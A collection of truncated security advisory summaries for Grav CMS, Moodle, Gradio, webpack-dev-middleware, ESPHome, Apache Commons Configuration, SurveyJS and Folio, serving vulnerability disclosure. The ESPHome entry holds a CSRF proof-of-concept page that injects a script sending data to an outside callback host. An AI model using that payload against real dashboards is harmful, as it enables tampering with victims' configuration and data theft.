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ghsa
### Summary Grav CMS is vulnerable to a Server-Side Template Injection (SSTI), which allows any authenticated user (editor permissions are sufficient) to execute arbitrary code on the remote server bypassing the existing security sandbox. ### Details The Grav CMS implements a custom sandbox to protect the powerful Twig methods "registerUndefinedFunctionCallback()" and "registerUndefinedFilterCallback()", in order to avoid SSTI attacks by denying the calling of dangerous PHP functions into the Twig template directives (such as: "exec()", "passthru()", "system()", etc.). The current defenses are based on a blacklist of prohibited functions (PHP, Twig), checked through the "isDangerousFunction()" method called in the file "system/src/Grav/Common/Twig.php": ```php ... $this->twig = new TwigEnvironment($loader_chain, $params); $this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safe_functions'); if (is_array...
### Summary _A file upload path traversal vulnerability has been identified in the application, enabling attackers to replace or create files with extensions like .json, .zip, .css, .gif, etc. This security flaw poses severe risks, that can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing files or creating new ones, and exfiltrate sensitive data using CSS exfiltration techniques._ ### Installation Configuration - Grav CMS 1.10.44 - Apache web server - php-8.2 ### Details _**Vulnerable code location:**_ grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method_ public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string { // Add the defaults to the settings. $settings = $this->getUploadSettings($settings); // Destination is always needed (but it can be set in defaults). $self = $settings['self'] ?? f...
The Chat activity in Moodle 4.3.3 allows students to insert a potentially unwanted HTML A element or IMG element, or HTML content that leads to a performance degradation. NOTE: the vendor's Using_Chat page says "If you know some HTML code, you can use it in your text to do things like insert images, play sounds or create different coloured and sized text." This page also says "Chat is due to be removed from standard Moodle."
A Cross-Site Request Forgery gives attackers the ability to upload many large files to a victim, if they are running Gradio locally. To resolve this a PR tightening the CORS rules around Gradio applications has been submitted. In particular, it checks to see if the host header is localhost (or one of its aliases) and if so, it requires the origin header (if present) to be localhost (or one of its aliases) as well.
### Summary _The **webpack-dev-middleware** middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine._ ### Details The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory _memfs_ filesystem. If _writeToDisk_ configuration option is set to **true**, the physical filesystem is used: [https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21](https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21) The _**getFilenameFromUrl**_ method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the **unsecaped** path suffix is appended to the _outputPath_: [https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad...
### Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). ### Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. ### PoC An example of malicious web page that abuses this vulnerability: <html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="<script> fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x" value="y', { method&...
This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. Users are recommended to upgrade to version 2.10.1, which fixes the issue.
This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. Users are recommended to upgrade to version 2.10.1, which fixes the issue.
Cross Site Scripting (XSS) vulnerability in SurveyJS Survey Creator v.1.9.132 and before, allows attackers to execute arbitrary code and obtain sensitive information via the title parameter in form.
A vulnerability was found in Folio Spring Module Core before 2.0.0. Affected by this issue is the function dropSchema of the file tenant/src/main/java/org/folio/spring/tenant/hibernate/HibernateSchemaService.java of the component Schema Name Handler. The manipulation leads to sql injection. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is d374a5f77e6b58e36f0e0e4419be18b95edcd7ff. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-257516.